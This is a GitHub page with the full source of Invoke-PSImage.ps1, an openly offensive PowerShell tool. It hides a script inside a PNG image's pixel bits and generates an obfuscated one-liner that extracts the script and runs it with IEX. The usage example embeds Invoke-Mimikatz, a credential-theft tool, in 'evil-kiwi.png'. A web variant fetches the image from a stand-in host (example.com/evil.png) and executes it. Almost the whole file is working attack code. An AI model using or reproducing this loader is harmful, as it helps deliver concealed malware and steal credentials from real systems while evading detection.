forked from peewpw/Invoke-PSImage
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathInvoke-PSImage.ps1
149 lines (116 loc) · 5.87 KB
/
Invoke-PSImage.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
function Invoke-PSImage
{
<#
.SYNOPSIS
Embeds a PowerShell script in an image and generates a oneliner to execute it.
Author: Barrett Adams (@peewpw)
.DESCRIPTION
Embeds a PowerShell script in an image by editing the least significant 4 bits of
2 color values (2 of RGB) in each pixel (for as many pixels as are needed for the payload).
Image quality will suffer as a result, but it still looks decent. The image is saved as a
PNG, and can be losslessly compressed without affecting the ability to execute the payload
as the data is stored in the colors themselves. It can accept most image types as input, but
output will always be a PNG because it needs to be lossless.
.PARAMETER Script
The path to the script to embed in the Image.
.PARAMETER Image
The image to embed the script in.
.PARAMETER Out
The file to save the resulting image to (image will be a PNG)
.PARAMETER Web
Output a command for reading the image from the web instead of reading from a file.
You will need to host the image and insert the URL into the command.
.EXAMPLE
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-kiwi.png
[Oneliner to execute from a file]
#>
[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$Script,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$Image,
[Parameter(Position = 2, Mandatory = $True)]
[String]
$Out,
[switch] $Web
)
# Stop if we hit an error instead of making more errors
$ErrorActionPreference = "Stop"
# Load some assemblies
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web")
# Normalize paths beacuse powershell is sometimes bad with them.
if (-Not [System.IO.Path]::IsPathRooted($Script)){
$Script = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Script))
}
if (-Not [System.IO.Path]::IsPathRooted($Image)){
$Image = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Image))
}
if (-Not [System.IO.Path]::IsPathRooted($Out)){
$Out = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Out))
}
# Read in the script
$ScriptBlockString = [IO.File]::ReadAllText($Script)
$input = [ScriptBlock]::Create($ScriptBlockString)
$payload = [system.Text.Encoding]::ASCII.GetBytes($input)
# Read the image into a bitmap
$img = New-Object System.Drawing.Bitmap($Image)
$width = $img.Size.Width
$height = $img.Size.Height
# Lock the bitmap in memory so it can be changed programmatically.
$rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height);
$bmpData = $img.LockBits($rect, [System.Drawing.Imaging.ImageLockMode]::ReadWrite, $img.PixelFormat)
$ptr = $bmpData.Scan0
# Copy the RGB values to an array for easy modification
$bytes = [Math]::Abs($bmpData.Stride) * $img.Height
$rgbValues = New-Object byte[] $bytes;
[System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes);
# Check that the payload fits in the image
if($bytes/2 -lt $payload.Length) {
Write-Error "Image not large enough to contain payload!"
$img.UnlockBits($bmpData)
$img.Dispose()
Break
}
# Generate a random string to use to fill other pixel info in the picture.
# (Calling get-random everytime is too slow)
$randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)
$randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)
# loop through the RGB array and copy the payload into it
for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
if ($counter -lt $payload.Length){
$paybyte1 = [math]::Floor($payload[$counter]/16)
$paybyte2 = ($payload[$counter] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
} else {
$paybyte1 = ($randb[$counter%113] -band 0x0f)
$paybyte2 = ($randb[($counter+1)%67] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
}
$rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1
$rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2
$rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3
}
# Copy the array of RGB values back to the bitmap
[System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes)
$img.UnlockBits($bmpData)
# Write the image to a file
$img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
$img.Dispose()
# Get a bunch of numbers we need to use in the oneliner
$rows = [math]::Ceiling($payload.Length/$width)
$array = ($rows*$width)
$lrows = ($rows-1)
$lwidth = ($width-1)
$lpayload = ($payload.Length-2)
if($web) {
$pscmd = "sal a New-Object;Add-Type -AssemblyName `"System.Drawing`";`$g= a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"http://example.com/evil.png`"));`$o= a Byte[] $array;(0..$lrows)|% {foreach(`$x in (0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B -band 15)*16) -bor (`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
}
else {
$pscmd = "sal a New-Object;Add-Type -AssemblyName `"System.Drawing`";`$g= a System.Drawing.Bitmap(`"$Out`");`$o= a Byte[] $array;(0..$lrows)|% {foreach(`$x in (0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B -band 15)*16) -bor (`$p.G -band 15))}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
}
return $pscmd
}